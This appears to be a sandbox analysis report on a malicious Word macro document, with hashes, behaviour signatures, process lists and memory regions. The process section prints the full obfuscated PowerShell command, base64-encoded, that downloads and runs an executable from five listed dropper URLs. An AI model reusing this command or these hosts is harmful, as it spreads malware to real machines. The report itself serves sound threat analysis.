Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    137s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/05/2024, 23:20

General

  • Target

    7ebdfc51b5db238b10845f5779b9861f_JaffaCakes118.doc

  • Size

    148KB

  • MD5

    7ebdfc51b5db238b10845f5779b9861f

  • SHA1

    e8fe96482813fe09819fabdcdc36f6e837c804ca

  • SHA256

    6964b98e57e916fabb11b9325e9610748e9154a71cd4a51c3f1eb9f26a3026c3

  • SHA512

    4d1d8ece04a893a4f3c89d1765df8f6e418eb1d660261085afd735f9700b5ace18bb631bd8cd04a03fc5580ef642cbb8d9aeb869d106c3e3109bac5609ffc891

  • SSDEEP

    3072:l77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qYIdp8CZZyOdyPntYh:l77HUUUUUUUUUUUUUUUUUUUT52VgYCZR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://harazoil.com/wp-content/r7v83/

exe.dropper

https://babalublog.com/image/h5jo1ao23800/

exe.dropper

http://bigbrushmedia.com/wvvw/aljrz25/

exe.dropper

http://blipin.com/vna984247/

exe.dropper

http://bmserve.com/mobile/m1z5378/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7ebdfc51b5db238b10845f5779b9861f_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:684
  • C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
    powErSHell -e JAB6ADcANQBfADcAMAAxADMAPQAnAGQAMQAwADUANABfADQANQAnADsAJABuADYANQA1ADkANQA4ADgAIAA9ACAAJwA5ADYAOAAnADsAJABSADMANAA0ADEANgA9ACcAZAA3ADUANgAwAF8AMwA1ACcAOwAkAHQAMABfADUANQA5ADYANAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbgA2ADUANQA5ADUAOAA4ACsAJwAuAGUAeABlACcAOwAkAGIAOAA0AF8AMAAyADgANwA9ACcAbgAxADQAOAAxADUAJwA7ACQAegAwADQAMgA3ADkANQA0AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBgAEIAYwBgAEwASQBFAG4AdAA7ACQAUwA5ADQAXwAwADcAMAAxAD0AJwBoAHQAdABwADoALwAvAGgAYQByAGEAegBvAGkAbAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHIANwB2ADgAMwAvAEAAaAB0AHQAcABzADoALwAvAGIAYQBiAGEAbAB1AGIAbABvAGcALgBjAG8AbQAvAGkAbQBhAGcAZQAvAGgANQBqAG8AMQBhAG8AMgAzADgAMAAwAC8AQABoAHQAdABwADoALwAvAGIAaQBnAGIAcgB1AHMAaABtAGUAZABpAGEALgBjAG8AbQAvAHcAdgB2AHcALwBhAGwAagByAHoAMgA1AC8AQABoAHQAdABwADoALwAvAGIAbABpAHAAaQBuAC4AYwBvAG0ALwB2AG4AYQA5ADgANAAyADQANwAvAEAAaAB0AHQAcAA6AC8ALwBiAG0AcwBlAHIAdgBlAC4AYwBvAG0ALwBtAG8AYgBpAGwAZQAvAG0AMQB6ADUAMwA3ADgALwAnAC4AUwBQAEwASQB0ACgAJwBAACcAKQA7ACQARgA3ADYANQA3ADMAOQA9ACcAZAAxADUAMQA3ADQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAHQAMAA4ADEANAAxADkAIABpAG4AIAAkAFMAOQA0AF8AMAA3ADAAMQApAHsAdAByAHkAewAkAHoAMAA0ADIANwA5ADUANAAuAGQATwBXAG4AbABvAGEARABmAEkATABFACgAJAB0ADAAOAAxADQAMQA5ACwAIAAkAHQAMABfADUANQA5ADYANAApADsAJABkAF8ANAA0ADIANwA1AD0AJwBKADYANAA4ADYANQA0ACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAdAAwAF8ANQA1ADkANgA0ACkALgBsAEUAbgBHAHQAaAAgAC0AZwBlACAAMwA2ADIAMwA2ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHQAMABfADUANQA5ADYANAA7ACQATQAyADIAMgAzADcAXwA9ACcAaQAxADIAOQA4ADMANQAnADsAYgByAGUAYQBrADsAJABHAF8AMQAyAF8AMgA9ACcAdwA2ADIANwAyADMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA0ADYAMAAyADgAMwA1AD0AJwBRADEAOAA3ADUAMQBfAF8AJwA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDA434.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jkmkuynm.v1h.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/684-21-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-16-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-4-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-5-0x00007FFD1DD8D000-0x00007FFD1DD8E000-memory.dmp

    Filesize

    4KB

  • memory/684-6-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-7-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-8-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-10-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-11-0x00007FFCDBBB0000-0x00007FFCDBBC0000-memory.dmp

    Filesize

    64KB

  • memory/684-9-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-12-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-13-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-14-0x00007FFCDBBB0000-0x00007FFCDBBC0000-memory.dmp

    Filesize

    64KB

  • memory/684-15-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-19-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-17-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-20-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-22-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-1-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-0-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-45-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-33-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-37-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-43-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-44-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-18-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-575-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-3-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-571-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-572-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-2-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-511-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-548-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-549-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-550-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/684-574-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/684-573-0x00007FFCDDD70000-0x00007FFCDDD80000-memory.dmp

    Filesize

    64KB

  • memory/4764-64-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB

  • memory/4764-52-0x00000173AC690000-0x00000173AC6B2000-memory.dmp

    Filesize

    136KB

  • memory/4764-46-0x00007FFD1DCF0000-0x00007FFD1DEE5000-memory.dmp

    Filesize

    2.0MB